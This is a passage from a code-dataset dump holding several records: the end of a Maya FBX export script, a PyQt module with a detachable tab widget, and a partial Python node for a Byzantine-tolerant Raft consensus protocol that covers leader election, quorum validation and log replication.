nonDeformerHistory:\r\n\t\t\t\thistoryType = MCmds.nodeType(history)\r\n\t\t\t\tif historyType != \"mesh\":\r\n\t\t\t\t\traise RuntimeError(\"Node '%s' has history '%s' of type '%s'\" % (node, history, historyType))\r\n\r\n\t\treturn True\r\n\r\n\tdef shouldIncludeInputConnections(self):\r\n\t\treturn True # Include skinCluster inputs.\r\n\r\nclass U4_AnimationFbx(U4_BaseFbx):\r\n\tdef shouldBakeAnimations(self):\r\n\t\treturn True\r\n\r\n\tdef setBakeTimeRange(self, startFrame, endFrame):\r\n\t\tMel.eval(\"FBXExportBakeComplexStart -v %s\" % startFrame)\r\n\t\tMel.eval(\"FBXExportBakeComplexEnd -v %s\" % endFrame)\r\n","sub_path":"scripts/U4_Fbx.py","file_name":"U4_Fbx.py","file_ext":"py","file_size_in_byte":7651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"642757384","text":"from pyqtgraph.Qt import QtGui, QtCore, QtWidgets\r\n\r\n# --------------------------------------------------------------------------------\r\n# GUI utility functions, classes, variables.\r\n# --------------------------------------------------------------------------------\r\n\r\nvariable_constants = { # Constants that can be used in setting the value of task variables.\r\n 'ms' : 1,\r\n 'second': 1000,\r\n 'minute': 60000,\r\n 'hour' : 3600000\r\n }\r\n\r\n# --------------------------------------------------------------------------------\r\n\r\nclass TableCheckbox(QtGui.QWidget):\r\n '''Checkbox that is centered in cell when placed in table.'''\r\n\r\n def __init__(self, parent=None):\r\n super(QtGui.QWidget, self).__init__(parent)\r\n self.checkbox = QtGui.QCheckBox(parent=parent)\r\n self.layout = QtGui.QHBoxLayout(self)\r\n self.layout.addWidget(self.checkbox)\r\n self.layout.setAlignment(QtCore.Qt.AlignCenter)\r\n self.layout.setContentsMargins(0,0,0,0)\r\n\r\n def isChecked(self):\r\n return self.checkbox.isChecked()\r\n\r\n def setChecked(self, state):\r\n self.checkbox.setChecked(state)\r\n\r\n# --------------------------------------------------------------------------------\r\n\r\ndef cbox_update_options(cbox, options):\r\n '''Update the options available in a qcombobox without changing the selection.'''\r\n selected = str(cbox.currentText())\r\n available = sorted(list(set([selected]+options)))\r\n i = available.index(selected)\r\n cbox.clear()\r\n cbox.addItems(available)\r\n cbox.setCurrentIndex(i)\r\n\r\ndef cbox_set_item(cbox, item_name, insert=False):\r\n '''Set the selected item in a combobox to the name provided. If name is\r\n not in item list returns False if insert is False or inserts item if insert \r\n is True.'''\r\n index = cbox.findText(item_name, QtCore.Qt.MatchFixedString)\r\n if index >= 0:\r\n cbox.setCurrentIndex(index)\r\n return True\r\n else:\r\n if insert:\r\n cbox.insertItem(0, item_name)\r\n cbox.setCurrentIndex(0)\r\n return True\r\n else:\r\n return False\r\n\r\n# --------------------------------------------------------------------------------\r\n\r\ndef null_resize(widget):\r\n '''Call a widgets resize event with its current size. Used when rows are added\r\n by user to tables to prevent mangling of the table layout.'''\r\n size = QtCore.QSize(widget.frameGeometry().width(), widget.frameGeometry().height())\r\n resize = QtGui.QResizeEvent(size, size)\r\n widget.resizeEvent(resize)\r\n\r\n# ----------------------------------------------------------------------------------\r\n# Detachable Tab Widget\r\n# ----------------------------------------------------------------------------------\r\n\r\nclass detachableTabWidget(QtWidgets.QTabWidget):\r\n '''The DetachableTabWidget adds functionality to QTabWidget that allows tabs to be\r\n detached and re-attached. Tabs can be detached by dragging the tab away from the \r\n tab bar or by double clicking the tab. Tabs are be re-attached by closing the \r\n detached tab window. The original ordering of the tabs is preserved when they are\r\n re-attached.\r\n\r\n Adapted from Stack Overflow post:\r\n https://stackoverflow.com/questions/47267195/in-pyqt4-is-it-possible-to-detach-tabs-from-a-qtabwidget\r\n\r\n Original by Stack Overflow user Blackwood.\r\n Adapted for PyQt5 by Stack Overflow user Bridgetjs.\r\n '''\r\n\r\n def __init__(self, parent=None):\r\n\r\n super().__init__()\r\n\r\n self.tabBar = TabBar(self)\r\n self.tabBar.onDetachTabSignal.connect(self.detachTab)\r\n\r\n self.setTabBar(self.tabBar)\r\n\r\n self.detachedTabs = {}\r\n\r\n # Close all detached tabs if the application is closed explicitly\r\n QtWidgets.qApp.aboutToQuit.connect(self.closeDetachedTabs) \r\n\r\n def setMovable(self, movable):\r\n '''Disable default movable functionality of QTabWidget.'''\r\n pass\r\n\r\n @QtCore.pyqtSlot(int, QtCore.QPoint)\r\n def detachTab(self, index, point):\r\n '''Detach the tab, creating a new DetachedTab window with the contents.\r\n - index: index location of the tab to be detached\r\n - point: screen position for creating the new DetachedTab window.\r\n '''\r\n # Get the tab content\r\n name = self.tabText(index)\r\n contentWidget = self.widget(index)\r\n\r\n try:\r\n contentWidgetRect = contentWidget.frameGeometry()\r\n except AttributeError:\r\n return\r\n\r\n # Create a new detached tab window\r\n detachedTab = DetachedTab(name, contentWidget)\r\n detachedTab.setWindowModality(QtCore.Qt.NonModal)\r\n detachedTab.setGeometry(contentWidgetRect)\r\n detachedTab.onCloseSignal.connect(self.attachTab)\r\n detachedTab.move(point)\r\n detachedTab.show()\r\n\r\n # Create a reference to maintain access to the detached tab\r\n self.detachedTabs[name] = detachedTab\r\n\r\n def addTab(self, contentWidget, name):\r\n '''Assign a rank to the tab equal to the number of tabs already added. \r\n Tabs are ordered by rank when re-attached.\r\n '''\r\n contentWidget.rank = self.count()\r\n super(detachableTabWidget, self).addTab(contentWidget, name)\r\n\r\n def attachTab(self, contentWidget, name):\r\n '''Re-attach the tab by removing the content from the DetachedTab window,\r\n closing it, and placing the content back into the DetachableTabWidget. \r\n The tab is inserted at the index needed to order the tabs by rank.\r\n - contentWidget : content widget from the DetachedTab window\r\n - name : name of the detached tab\r\n '''\r\n # Make the content widget a child of this widget\r\n contentWidget.setParent(self)\r\n\r\n # Remove the reference\r\n del self.detachedTabs[name]\r\n\r\n # Insert tab at correct location to order tabs by rank.\r\n insertAt = sum([self.widget(i).rank < contentWidget.rank\r\n for i in range(self.count())])\r\n self.insertTab(insertAt, contentWidget, name)\r\n\r\n def closeDetachedTabs(self):\r\n '''Close all tabs that are currently detached.'''\r\n listOfDetachedTabs = []\r\n\r\n for key in self.detachedTabs:\r\n listOfDetachedTabs.append(self.detachedTabs[key])\r\n\r\n for detachedTab in listOfDetachedTabs:\r\n detachedTab.close()\r\n\r\n\r\nclass DetachedTab(QtWidgets.QMainWindow):\r\n '''When a tab is detached, the contents are placed into this QMainWindow. \r\n The tab can be re-attached by closing the detached tab window.\r\n '''\r\n onCloseSignal = QtCore.pyqtSignal(QtWidgets.QWidget, str)\r\n\r\n def __init__(self, name, contentWidget):\r\n QtWidgets.QMainWindow.__init__(self, None)\r\n\r\n self.setObjectName(name)\r\n self.setWindowTitle(name)\r\n\r\n self.contentWidget = contentWidget\r\n self.setCentralWidget(self.contentWidget)\r\n self.contentWidget.show()\r\n\r\n def closeEvent(self, event):\r\n '''If the window is closed, emit the onCloseSignal and give the content\r\n widget back to the DetachableTabWidget\r\n - event : a close event\r\n '''\r\n self.onCloseSignal.emit(self.contentWidget, self.objectName())\r\n\r\n\r\nclass TabBar(QtWidgets.QTabBar):\r\n '''The TabBar class re-implements some of the functionality of the QTabBar widget\r\n to detect drag events and double clicks, and cause them to detach the tab.\r\n '''\r\n onDetachTabSignal = QtCore.pyqtSignal(int, QtCore.QPoint)\r\n\r\n def __init__(self, parent=None):\r\n QtWidgets.QTabBar.__init__(self, parent)\r\n\r\n self.setAcceptDrops(True)\r\n self.setElideMode(QtCore.Qt.ElideRight)\r\n self.setSelectionBehaviorOnRemove(QtWidgets.QTabBar.SelectLeftTab)\r\n\r\n self.dragStartPos = QtCore.QPoint()\r\n self.dragDropedPos = QtCore.QPoint()\r\n self.mouseCursor = QtGui.QCursor()\r\n self.dragInitiated = False\r\n\r\n def mouseDoubleClickEvent(self, event):\r\n '''Send the onDetachTabSignal when a tab is double clicked.\r\n - event : a mouse double click event\r\n '''\r\n event.accept()\r\n self.onDetachTabSignal.emit(self.tabAt(event.pos()), self.mouseCursor.pos())\r\n\r\n def mousePressEvent(self, event):\r\n '''Set the starting position for a drag event when the mouse button is pressed.\r\n - event : a mouse press event.\r\n '''\r\n if event.button() == QtCore.Qt.LeftButton:\r\n self.dragStartPos = event.pos()\r\n\r\n self.dragDropedPos.setX(0)\r\n self.dragDropedPos.setY(0)\r\n\r\n self.dragInitiated = False\r\n\r\n QtWidgets.QTabBar.mousePressEvent(self, event)\r\n\r\n def mouseMoveEvent(self, event):\r\n '''If the current movement is a drag convert it into a QDrag. If the drag ends\r\n outside the tab bar emit an onDetachTabSignal.\r\n - event : a mouse move event.\r\n '''\r\n # Determine if the current movement is detected as a drag\r\n if not self.dragStartPos.isNull() and ((event.pos() - self.dragStartPos).manhattanLength() < QtWidgets.QApplication.startDragDistance()):\r\n self.dragInitiated = True\r\n\r\n # If the current movement is a drag initiated by the left button\r\n if (((event.buttons() & QtCore.Qt.LeftButton)) and self.dragInitiated):\r\n\r\n # Stop the move event\r\n finishMoveEvent = QtGui.QMouseEvent(QtCore.QEvent.MouseMove, event.pos(), QtCore.Qt.NoButton, QtCore.Qt.NoButton, QtCore.Qt.NoModifier)\r\n QtWidgets.QTabBar.mouseMoveEvent(self, finishMoveEvent)\r\n\r\n # Convert the move event into a drag\r\n drag = QtGui.QDrag(self)\r\n mimeData = QtCore.QMimeData()\r\n drag.setMimeData(mimeData)\r\n # Create the appearance of dragging the tab content\r\n pixmap = self.parent().widget(self.tabAt(self.dragStartPos)).grab()\r\n targetPixmap = QtGui.QPixmap(pixmap.size())\r\n targetPixmap.fill(QtCore.Qt.transparent)\r\n painter = QtGui.QPainter(targetPixmap)\r\n painter.setOpacity(0.85)\r\n painter.drawPixmap(0, 0, pixmap)\r\n painter.end()\r\n drag.setPixmap(targetPixmap)\r\n\r\n # Initiate the drag\r\n dropAction = drag.exec_(QtCore.Qt.MoveAction | QtCore.Qt.CopyAction)\r\n\r\n # For Linux: Here, drag.exec_() will not return MoveAction on Linux. So it\r\n # must be set manually\r\n if self.dragDropedPos.x() != 0 and self.dragDropedPos.y() != 0:\r\n dropAction = QtCore.Qt.MoveAction\r\n\r\n # If the drag completed outside of the tab bar, detach the tab and move\r\n # the content to the current cursor position\r\n if dropAction == QtCore.Qt.IgnoreAction:\r\n event.accept()\r\n self.onDetachTabSignal.emit(self.tabAt(self.dragStartPos), self.mouseCursor.pos())\r\n \r\n else:\r\n QtWidgets.QTabBar.mouseMoveEvent(self, event)\r\n\r\n def dropEvent(self, event):\r\n '''Get the position of the end of the drag.\r\n event : a drop event.\r\n '''\r\n self.dragDropedPos = event.pos()\r\n QtWidgets.QTabBar.dropEvent(self, event)","sub_path":"gui/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":11360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"549452720","text":"from network_ctrl import *\nfrom socket import *\nimport time\nfrom threading import *\nimport signal\nimport sys\nimport copy\nfrom optparse import OptionParser\nimport random\n\nclass Node():\n ID = 0\n IPAddr = \"localhost\"\n ctrlPort = 7228\n relayPort = 7229\n\n '''def __eq__(self, other):\n if (self.ID == other.ID and self.IPAddr == other.IPAddr and self.ctrlPort\n == other.ctrlPort and self.relayPort == other.relayPort):\n return True\n return False'''\n\nthisNode = Node()\nthisNode.ID = 0\nthisNode.IPAddr = \"localhost\"\nthisNode.ctrlPort = 7228\nthisNode.relayPort = 7229\n\n\n#currentleaderNode = Node()\ncurrentleaderNode = None\noldleaderNode = None\nlog = []\ncurrent_index=0\ncommit_index = -1\ncommit_tracker = {}\ncommit_lock = Lock()\nacc_Table = []\ndrop_table = []\nstate= ServerStates.FOLLOWER\ncluster_count=0\nterm_number = 0\nlast_term_i_voted_for = 0\nvoting_lock = Lock()\nseconds = 10\n#seconds = random.randint(10,20)\nquorum = []\n\ndef handle_ctrl_connection(conn, addr):\n global thisNode\n global acc_Table\n global drop_table\n global currentleaderNode\n global last_term_i_voted_for\n global term_number\n global current_index\n global state\n global seconds\n global oldleaderNode\n global quorum\n global commit_index\n global commit_tracker\n global cluster_count\n global commit_lock\n global last_node_i_voted_for\n \n try:\n last_node_i_voted_for\n except:\n last_node_i_voted_for = None\n\n data = conn.recv(MAX_REC_SIZE)\n conn.settimeout(DEFAULT_TIMEOUT)\n\n if data:\n message = unserialize_message(data)\n\n\n if message.messageType == ControlMessageTypes.JOIN_NETWORK:\n retCode = 0\n inNode = copy.deepcopy(message.data)\n acc_Table.append(inNode)\n retMsg = CtrlMessage(MessageTypes.MSG_ACK, thisNode, retCode)\n conn.send(serialize_message(retMsg))\n\n elif message.messageType == ControlMessageTypes.STARTING_ELECTION_PHASE:\n retCode = 0\n if(state == ServerStates.CANDIDATE):\n retMsg = CtrlMessage(MessageTypes.ELECTION_ALREADY_RUNNING, thisNode, retCode)\n else:\n state = ServerStates.FOLLOWER\n term_number = term_number + 1\n retMsg = CtrlMessage(MessageTypes.NOTED, thisNode, retCode)\n conn.send(serialize_message(retMsg))\n\n elif message.messageType == ControlMessageTypes.ASK_FOR_VOTE:\n retCode = 0\n if len(acc_Table)<=2:\n retMsg = CtrlMessage(MessageTypes.NOT_ENOUGH_NODES_IN_THE_SYSTEM, thisNode, retCode)\n conn.send(serialize_message(retMsg))\n else:\n incoming_term_number = int(message.extra)\n if incoming_term_number < term_number:\n retMsg = CtrlMessage(MessageTypes.I_DO_NOT_VOTE_FOR_YOU, thisNode, retCode)\n else:\n print(\"Voting for term \",message.extra)\n last_node_i_voted_for = message.data.IPAddr\n print(\"Last node I voted for\", last_node_i_voted_for)\n retMsg = CtrlMessage(MessageTypes.I_VOTE_FOR_YOU, thisNode, retCode)\n last_term_i_voted_for = incoming_term_number\n\n conn.send(serialize_message(retMsg))\n\n elif message.messageType == ControlMessageTypes.I_AM_LEADER:\n cluster_count = len(acc_Table) + 1\n retCode = 0\n flag=0\n quorum_temp = message.extra\n #print(\"Quorum temp is: \", quorum_temp)\n existing_IP_addr_list = []\n\n for each_node in acc_Table:\n existing_IP_addr_list.append(each_node.IPAddr)\n\n #->> Connected\n existing_IP_addr_list.append(thisNode.IPAddr)\n\n #print(\"Acc_table IP addresses : \", existing_IP_addr_list)\n\n for each_voter_in_quorum in quorum_temp:\n print(each_voter_in_quorum)\n # ->> Connected\n #if each_voter not in IP_addr_list and each_voter!= thisNode.IPAddr :\n if each_voter_in_quorum not in existing_IP_addr_list:\n print(\"Vote Not Valid\")\n flag=1\n retMsg = CtrlMessage(MessageTypes.REJECT_NEW_LEADER, thisNode, retCode)\n conn.send(serialize_message(retMsg))\n break\n elif each_voter_in_quorum != message.data.IPAddr:\n # Check if quorum is valid.\n cur_node = None\n for n in acc_Table:\n if n.IPAddr == each_voter_in_quorum:\n cur_node = n\n if cur_node is not None:\n # IF it is none, it must be this node.\n reply = send_ctrl_message_with_ACK(str(message.data.IPAddr), ControlMessageTypes.DID_YOU_VOTE_FOR_LEADER, 0, cur_node, DEFAULT_TIMEOUT * 4)\n if reply.messageType == MessageTypes.NOT_WHO_I_VOTED_FOR:\n # TODO: Ensure that the leader doesn't still have enough votes.\n print(\"Vote Not Valid\")\n flag=1\n retMsg = CtrlMessage(MessageTypes.REJECT_NEW_LEADER, thisNode, retCode)\n conn.send(serialize_message(retMsg))\n break\n elif last_node_i_voted_for is None or str(last_node_i_voted_for) != str(message.data.IPAddr):\n print(\"Vote Not Valid\")\n flag=1\n retMsg = CtrlMessage(MessageTypes.REJECT_NEW_LEADER, thisNode, retCode)\n conn.send(serialize_message(retMsg))\n break\n\n if flag ==0:\n # added as experiment\n seconds = 10\n\n currentleaderNode = message.data\n # term_number = int(message.extra)\n state = ServerStates.FOLLOWER\n print(\"---------------------The leader for term \",term_number,\" is:\",message.data.IPAddr,\"------------------------\")\n retMsg = CtrlMessage(MessageTypes.ACCEPT_NEW_LEADER, thisNode, retCode)\n conn.send(serialize_message(retMsg))\n\n elif message.messageType == ControlMessageTypes.REPLICATE_LOG:\n retCode = 0\n\n #check quorum first to authenticate the leader\n\n flag = 0\n quorum_temp = message.extra\n # print(\"Quorum temp is: \", quorum_temp)\n existing_IP_addr_list = []\n\n for each_node in acc_Table:\n existing_IP_addr_list.append(each_node.IPAddr)\n\n # ->> Connected(if you comment or remove below line , uncomment the line with same tag ->> later and comment the next line which follows)\n existing_IP_addr_list.append(thisNode.IPAddr)\n\n # print(\"Acc_table IP addresses : \", existing_IP_addr_list)\n\n for each_voter_in_quorum in quorum_temp:\n # ->> Connected\n # if each_voter not in IP_addr_list and each_voter!= thisNode.IPAddr :\n if each_voter_in_quorum not in existing_IP_addr_list:\n print(\"Vote Not Valid\")\n flag = 1\n retMsg = CtrlMessage(MessageTypes.REJECT_LOG_REPLICATION_LEADER_FAILED_TO_PROVE_QUORUM, thisNode, retCode)\n conn.send(serialize_message(retMsg))\n break\n\n if flag == 0:\n term_and_index_number = message.data\n print(\"******Term_and_index_number: \" ,len(term_and_index_number))\n #log_index = int(term_and_index_number[0])\n #log_value = int(term_and_index_number[1])\n log_index = term_and_index_number[0]\n log_value = term_and_index_number[1]\n print(\"%%%%%My current index is: \",current_index)\n print(\"%%%%%Received index from leader is : \", log_index)\n #log_value = message.data\n #print(\"*****Quorum satisfied*****\")\n if(current_index == log_index):\n #log[current_index] = message.data\n log.append(log_value)\n #print(\"Log replicated: \", log[current_index])\n\n print(\"Log replicated: \", log)\n current_index = current_index +1\n\n #Below commented code is for old Raft where we inform only the leader about the replicated log.\n #retMsg = CtrlMessage(MessageTypes.LOG_RECORDED, thisNode, retCode)\n\n # Now in PBFT raft we send AppendEntryResponse i.e Ack for Log replication to everybody in the system so that everybody\n # can take their own decision when to commit the entries.\n\n # We initialize the commit count for the replicated entry to 1 because the leader has already replicated it.\n\n #We sleep for 6 seconds so that all the replicas record the log first.\n\n if len(term_and_index_number)==2: #when term_and_index_numer has 3 entries it means a replica is catching up\n commit_tracker[current_index - 1] = 1\n #time.sleep(6)\n for servers in acc_Table:\n send_ctrl_message_with_ACK(current_index-1, ControlMessageTypes.APPEND_ENTRY_RESPONSE_FOR_LOG_REPLICATION, thisNode,\n servers, DEFAULT_TIMEOUT * 4)\n\n print(\"Finished sending APPEND_ENTRY_RESPONSE_FOR_LOG_REPLICATION to servers\")\n\n else:\n commit_index = current_index\n\n retMsg = CtrlMessage(MessageTypes.LOG_RECORDED, thisNode, retCode)\n\n\n elif (current_index < log_index):\n retMsg = CtrlMessage(MessageTypes.I_AM_BEHIND, current_index, retCode)\n\n else:\n print(\"current index: \",current_index)\n print(\"log index: \", log_index)\n retMsg = CtrlMessage(MessageTypes.ERROR_CONDITION, current_index, retCode)\n\n conn.send(serialize_message(retMsg))\n\n elif message.messageType == ControlMessageTypes.APPEND_ENTRY_RESPONSE_FOR_LOG_REPLICATION:\n # when number of Appendentry responses received for a particular entry becomes > (NumberOfNodes/2) , that means the entry has been recorded in\n # majority of servers and can be safely committed.\n\n replicated_entry_index = message.data\n\n if commit_index == replicated_entry_index:\n print(\"Already committed\")\n\n else:\n\n print(\"Got APPEND_ENTRY_RESPONSE_FOR_LOG_REPLICATION \")\n\n commit_lock.acquire()\n\n if replicated_entry_index in commit_tracker.keys():\n commit_tracker[replicated_entry_index] = commit_tracker[replicated_entry_index] + 1\n else:\n commit_tracker[replicated_entry_index] = 1\n\n commit_lock.release()\n\n print(commit_tracker)\n\n #flag = 1\n #while flag==1:\n while True:\n #commit_lock.acquire()\n cluster_count = len(acc_Table) + 1\n if commit_tracker[replicated_entry_index] > cluster_count/2 and len(log)>=replicated_entry_index+1:\n print(commit_tracker)\n print(\"commit_tracker[replicated_entry_index]\",commit_tracker[replicated_entry_index])\n print(\"cluster_count\", cluster_count)\n print(\"cluster_count/2\", cluster_count/2)\n commit_index = replicated_entry_index\n print(\"Entry committed at index : \", commit_index)\n print(\"Current log is : \",log)\n break\n time.sleep(5)\n #flag=0\n #commit_lock.release()\n\n\n elif message.messageType == ControlMessageTypes.UPDATE_YOUR_TERM_NUMBER_FROM_CURRENT_LEADER:\n retCode = 0\n term_number = message.data\n retMsg = CtrlMessage(MessageTypes.UPDATED_MY_TERM, current_index, retCode)\n conn.send(serialize_message(retMsg))\n\n\n elif message.messageType == ControlMessageTypes.ACCEPT_REQUEST_FROM_CLIENTS:\n if (state == ServerStates.LEADER):\n retCode = 0\n #time.sleep(8)\n\n if currentleaderNode==None:\n retMsg = CtrlMessage(MessageTypes.REPLY_TO_CLIENT, current_index, retCode)\n conn.send(serialize_message(retMsg))\n return\n\n #log[current_index]= term_number\n log.append(term_number)\n print(\"Log recorded: \",log[current_index])\n commit_tracker[current_index] = 1\n current_index = current_index + 1\n\n for servers in acc_Table:\n\n term_and_index_number = []\n term_and_index_number.append(current_index-1)\n term_and_index_number.append(term_number)\n\n msg = send_ctrl_message_with_ACK(term_and_index_number, ControlMessageTypes.REPLICATE_LOG,quorum,servers,DEFAULT_TIMEOUT * 10)\n print(\"Sent replicate request to \", servers)\n if(msg.messageType == MessageTypes.I_AM_BEHIND ):\n starting_index_of_log_of_lagging_server = msg.data\n\n\n\n #for i in range(starting_index_of_log_of_lagging_server,current_index):\n for i in range(starting_index_of_log_of_lagging_server, commit_index):\n term_and_index_number = []\n term_and_index_number.append(i)\n term_and_index_number.append(log[i])\n # When a replica is catching up it does not need to send APPEND ENTRY RESPONSES\n # for replicating that log to other servers. So we are adding -1 to denote that.\n term_and_index_number.append(-1)\n send_ctrl_message_with_ACK(term_and_index_number, ControlMessageTypes.REPLICATE_LOG, quorum,servers, DEFAULT_TIMEOUT * 10)\n\n for i in range(commit_index, current_index):\n term_and_index_number = []\n term_and_index_number.append(i)\n term_and_index_number.append(log[i])\n # Now that the replica is caught up,send the latest client request to be replicated the replica\n\n send_ctrl_message_with_ACK(term_and_index_number, ControlMessageTypes.REPLICATE_LOG, quorum,servers, DEFAULT_TIMEOUT * 10)\n\n send_ctrl_message_with_ACK(term_number, ControlMessageTypes.UPDATE_YOUR_TERM_NUMBER_FROM_CURRENT_LEADER, i,\n servers, DEFAULT_TIMEOUT * 10)\n\n\n elif (msg.messageType == MessageTypes.REJECT_LOG_REPLICATION_LEADER_FAILED_TO_PROVE_QUORUM):\n print(\"I am caught impersonating a Leader\")\n commit_tracker[current_index-1] = 0\n\n # add code to in for client about faulty leader\n\n elif (msg.messageType == MessageTypes.LOG_RECORDED):\n print(\"Log that I sent was recorded by the replica\")\n\n elif (msg.messageType == MessageTypes.ERROR_CONDITION):\n print(\"Error condition\")\n\n\n\n print(\"Leader sent replicate request to all replicas\")\n retMsg = CtrlMessage(MessageTypes.REPLY_TO_CLIENT, commit_index, retCode)\n\n conn.send(serialize_message(retMsg))\n print(\"Sent reply to Client\")\n\n else:\n if currentleaderNode != None:\n retCode = 0\n msg = send_ctrl_message_with_ACK(message.data, ControlMessageTypes.ACCEPT_REQUEST_FROM_CLIENTS,0 , currentleaderNode,\n DEFAULT_TIMEOUT *100)\n\n if msg.messageType == MessageTypes.REPLY_TO_CLIENT:\n retMsg = CtrlMessage(MessageTypes.REPLY_TO_CLIENT, current_index, retCode)\n conn.send(serialize_message(retMsg))\n\n\n elif message.messageType == ControlMessageTypes.SYNC_NETWORK:\n retCode = 0\n a = set()\n b = set()\n for i in acc_Table:\n a.add(i.IPAddr)\n for i in drop_table:\n b.add(i.IPAddr)\n for i in message.data:\n if (i.IPAddr not in a) and (i.IPAddr != thisNode.IPAddr) and (i.IPAddr not in b):\n acc_Table.append(i)\n\n retMsg = CtrlMessage(MessageTypes.MSG_ACK, thisNode, retCode)\n conn.send(serialize_message(retMsg))\n\n elif message.messageType == ControlMessageTypes.HEARTBEAT:\n retCode = 0\n seconds = 10\n #seconds = random.randint(10, 20)\n currentleaderNode = message.data\n retMsg = CtrlMessage(MessageTypes.MSG_ACK, thisNode, retCode)\n conn.send(serialize_message(retMsg))\n\n elif message.messageType == ControlMessageTypes.CLIENT_INTERVENTION:\n print(\"Client Intervention received\")\n retCode = 0\n state = ServerStates.FOLLOWER\n seconds = 10\n oldleaderNode = currentleaderNode\n currentleaderNode = None\n for servers in acc_Table:\n msg = send_ctrl_message_with_ACK(term_number, ControlMessageTypes.CLIENT_INTERVENTION_RECEIVED, current_index, servers,\n DEFAULT_TIMEOUT * 10)\n\n while(1):\n #Wait till new election gives a new leader\n if currentleaderNode == None:\n time.sleep(2)\n else:\n print(\"Old Leader: \"+ oldleaderNode.IPAddr)\n print(\"New Leader: \" + currentleaderNode.IPAddr)\n if currentleaderNode.IPAddr == oldleaderNode.IPAddr:\n currentleaderNode = None\n seconds = 10\n print(\"Same leader elected again. Start Election again\")\n for servers in acc_Table:\n msg = send_ctrl_message_with_ACK(term_number,ControlMessageTypes.CLIENT_INTERVENTION_RECEIVED,current_index, servers,\n DEFAULT_TIMEOUT * 10)\n\n else:\n print(\"********&&&&&&^%$#$%^&*(*&^%$%^&*(*&^New Leader Elected^&*)(*&^%$$%^&*(*&^%$#$%^&*(*&^%$#$%^&*(\")\n\n break\n\n retMsg = CtrlMessage(MessageTypes.NEW_LEADER_ELECTED, currentleaderNode, retCode)\n conn.send(serialize_message(retMsg))\n #start_leader_election()\n\n elif message.messageType == ControlMessageTypes.CLIENT_INTERVENTION_RECEIVED:\n retCode = 0\n state = ServerStates.FOLLOWER\n currentleaderNode = None\n seconds = 10\n\n retMsg = CtrlMessage(MessageTypes.NEW_LEADER_ELECTED, thisNode, retCode)\n conn.send(serialize_message(retMsg))\n\n elif message.messageType == ControlMessageTypes.DID_YOU_VOTE_FOR_LEADER:\n if last_node_i_voted_for is None or str(last_node_i_voted_for) != message.data:\n retMsg = CtrlMessage(MessageTypes.NOT_WHO_I_VOTED_FOR, 0, 0)\n conn.send(serialize_message(retMsg))\n else:\n retMsg = CtrlMessage(MessageTypes.WHO_I_VOTED_FOR, 0, 0)\n conn.send(serialize_message(retMsg))\n\n\ndef join_network(someNode):\n global thisNode\n global acc_Table\n message = send_ctrl_message_with_ACK(thisNode, ControlMessageTypes.JOIN_NETWORK, 0, someNode,\n DEFAULT_TIMEOUT * 10)\n if message is None:\n print(\"Timeout or Error\")\n return 0\n # TODO: handle this\n #pass\n print (\"return IP\", message.data.IPAddr)\n acc_Table.append(message.data)\n return message.data\n\ndef stabilization_routine():\n global thisNode\n global acc_Table\n global drop_table\n\n #time.sleep(random.randint(1,10))\n while 1:\n for i in acc_Table:\n message = send_ctrl_message_with_ACK(acc_Table, ControlMessageTypes.SYNC_NETWORK, 1,i,\n DEFAULT_TIMEOUT * 10)\n if message.messageType == ControlMessageTypes.NODE_DROP:\n print(\"Bu hu\")\n drop_table.append(message.data)\n print(\"Length of drop table: \",len(drop_table))\n acc_Table.remove(i)\n time.sleep(40)\n drop_table.remove(message.data)\n print(\"Length of drop table: \", len(drop_table))\n print(\"Removed: \", i.IPAddr)\n #else:\n # print(message.data)\n #time.sleep(random.randint(1,2))\n\ndef start_leader_election():\n global thisNode\n global term_number\n global currentleaderNode\n global state\n global voting_lock\n global quorum\n\n #voting_lock.acquire()\n\n\n if len(acc_Table)<=2:\n print(\"Not enough servers yet for PBFT raft.\")\n currentleaderNode = None\n #voting_lock.release()\n return\n\n voting_lock.acquire()\n\n state = ServerStates.CANDIDATE\n cluster_count = len(acc_Table)+1\n print(\"--------Total servers in cluster:\",cluster_count,\"-------\")\n print(\"My state is: Candidate\")\n count=1\n\n for server in acc_Table:\n message = send_ctrl_message_with_ACK(thisNode, ControlMessageTypes.STARTING_ELECTION_PHASE, term_number, server,\n DEFAULT_TIMEOUT * 10)\n if (message.messageType == MessageTypes.ELECTION_ALREADY_RUNNING):\n state = ServerStates.FOLLOWER\n print(\"Election already running\")\n voting_lock.release()\n return\n\n term_number = term_number + 1\n\n '''for server in acc_Table:\n message = send_ctrl_message_with_ACK(thisNode, ControlMessageTypes.ASK_FOR_VOTE, term_number, server,\n DEFAULT_TIMEOUT * 10)\n\n if(message.messageType == MessageTypes.I_VOTE_FOR_YOU):\n count=count+1\n quorum.append(message.data.IPAddr)\n if(count>cluster_count/2):\n state = ServerStates.LEADER\n currentleaderNode=thisNode\n print(\"------I am the leader for term \",term_number,\"------\")\n break\n\n if(state == ServerStates.LEADER):\n for i in acc_Table:\n #message = send_ctrl_message_with_ACK(thisNode, ControlMessageTypes.I_AM_LEADER, term_number, i,DEFAULT_TIMEOUT * 10)\n message = send_ctrl_message_with_ACK(thisNode, ControlMessageTypes.I_AM_LEADER, quorum, i,DEFAULT_TIMEOUT * 10)\n if message.messageType == MessageTypes.REJECT_NEW_LEADER :\n state = ServerStates.FOLLOWER\n currentleaderNode = None\n print(\"------Other nodes rejected my leadership in term \", term_number, \"------\")\n else:\n print(\"You cannot become leader\")\n state = ServerStates.FOLLOWER'''\n\n quorum = []\n for server in acc_Table:\n message = send_ctrl_message_with_ACK(thisNode, ControlMessageTypes.ASK_FOR_VOTE, term_number, server,\n DEFAULT_TIMEOUT * 10)\n\n if (message.messageType == MessageTypes.I_VOTE_FOR_YOU):\n count = count + 1\n quorum.append(message.data.IPAddr)\n if (count > cluster_count / 2):\n #state = ServerStates.LEADER\n #currentleaderNode = thisNode\n #print(\"------I am the leader for term \", term_number, \"------\")\n print(\"Quorum is: \", quorum)\n break\n\n if (message.messageType == MessageTypes.NOT_ENOUGH_NODES_IN_THE_SYSTEM):\n print(\"Not enough servers yet for PBFT raft.\")\n state = ServerStates.FOLLOWER\n currentleaderNode = None\n voting_lock.release()\n return\n\n flag= 0\n #if (state == ServerStates.LEADER):\n if (count > cluster_count / 2):\n for i in acc_Table:\n # message = send_ctrl_message_with_ACK(thisNode, ControlMessageTypes.I_AM_LEADER, term_number, i,DEFAULT_TIMEOUT * 10)\n message = send_ctrl_message_with_ACK(thisNode, 